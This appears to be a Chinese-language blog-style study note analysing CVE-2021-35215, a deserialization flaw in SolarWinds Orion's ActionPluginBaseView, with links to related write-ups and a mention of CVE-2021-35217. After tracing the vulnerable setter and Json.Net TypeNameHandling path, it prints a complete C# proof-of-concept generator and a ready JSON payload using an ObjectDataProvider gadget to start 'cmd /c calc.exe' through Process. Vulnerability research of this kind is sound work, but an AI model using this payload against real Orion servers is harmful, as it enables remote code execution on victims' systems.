https://exp10it.io/2024/02/solarwinds-orion-platform-actionpluginbaseview-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-cve-202135215/
https://xz.aliyun.com/t/10412?time__1311=mq%2BxBDyDcDuWKGNDQi4%2B0Ybwe7whDGIix
https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2
这里的话就直接用他们图里的照片了 就不搭建环境了 因为有点麻烦
(看这个漏洞的时候可以先看看之前的Json.Net和JavaScriptSerializer 有助于这个漏洞的理解)
我们从这开始吧 注意这个control的获取和传参 注意这两点对于我们下面的理解帮助很大
加载 control 对象后调用 ApplyPropertiesAndAttributes方法
获取 config 的内容, 然后传入 SetProperties
这里就是关键了 这个SetProperty函数就会调用我们传入的obj(就是control的setter方法)
仔细跟进这个setProperty方法的话 就会进入到这个SetValue方法中 然后就会在这个setMethod.Invoke调用
回到最初的地方仔细看 这个obj就是从我们传入的数据中获取的control类 所以这个类可控
那么就刚好对应上了作者说的这个东西
找一个可以利用setter进行RCE或写文件的control类
这个就是找到的一个可用的Control类 且setter方法可以进行利用
其setter方法
内部使用 Json.Net 的 JsonConvert.DeserializeObject 进行反序列化, 并且开启了 TypeNameHandling
并且他他要求的反序列化对象还得是AlertingActionContext
这个对象就是ActionPluginBaseView这个control类的属性 可以控制 我们看看有没有object属性的参数可以利用
因为反序列化成对象的时候 就会触发我们object属性的恶意代码 其他属性不行
反正就是一直往下找 找到了这个属性 是字典的 并且存着object对象
这就解释完了
最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 using Newtonsoft.Json;using SolarWinds.InformationService.Contract2;using SolarWinds.Orion.Core.Models.Actions.Contexts;using SolarWinds.Orion.Core.Models.MacroParsing;using System;using System.Collections.Generic;using System.Web.Script.Serialization;namespace SolarWindsDemo { internal class Program { static void Main (string [] args ) { PropertyBag propertyBag = new PropertyBag(); propertyBag.Add("test" , "<ObjectDataProvider-payload>" ); SwisEntityContext swisEntityContext = new SwisEntityContext(); swisEntityContext.EntityProperties = propertyBag; MacroContext macroContext = new MacroContext(); macroContext.Add(swisEntityContext); AlertingActionContext alertingActionContext = new AlertingActionContext(); alertingActionContext.MacroContext = macroContext; JsonSerializerSettings settings = new JsonSerializerSettings() { TypeNameHandling = TypeNameHandling.Objects, }; string viewContextJsonString = JsonConvert.SerializeObject(alertingActionContext, settings); Console.WriteLine(viewContextJsonString); Dictionary<string , object > props = new Dictionary<string , object >(); props.Add("EnviromentType" , "Alerting" ); props.Add("ViewContextJsonString" , "viewContextJsonString" ); Dictionary<string , object > dict = new Dictionary<string , object >(); dict.Add("Control" , "SolarWinds.Orion.Web.Actions.ActionPluginBaseView" ); dict.Add("config" , props); JavaScriptSerializer javaScriptSerializer = new JavaScriptSerializer(); string data = javaScriptSerializer.Serialize(dict); Console.WriteLine(data); } } }
payload
1 2 3 4 5 6 7 { "Control" : "~/Orion/Actions/Controls/CustomPropertyView.ascx" , "config" : { "EnviromentType" : "Alerting" , "ViewContextJsonString" : "{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",\"ExecutionMode\":0,\"EnviromentType\":0,\"EntityType\":null,\"EntityUri\":null,\"EntityUris\":null,\"IsGlobalAlert\":false,\"AlertContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",\"AlertName\":null,\"CreatedBy\":null},\"AlertActiveId\":null,\"AlertObjectId\":null,\"NetObjectData\":null,\"ObjectDataExists\":false,\"MacroContext\":{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",\"contexts\":[{\"$type\":\"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",\"DisplayName\":\"Net object properties\",\"EntityType\":null,\"EntityUri\":null,\"EntityProperties\":{\"$type\":\"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",\"test\":{\"$type\":\"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\",\"MethodName\":\"Start\",\"MethodParameters\":{\"$type\":\"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",\"$values\":[\"cmd\",\"/c calc.exe\"]},\"ObjectInstance\":{\"$type\":\"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\"}}}}]}}" } }
很有意思的一个洞
SolarWinds Patch Manager WSAsyncExecuteTasks 反序列化 (CVE-2021–35217)
https://exp10it.io/2024/02/solarwinds-patch-manager-wsasyncexecutetasks-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-cve-202135217/
这个CVE其实也差不多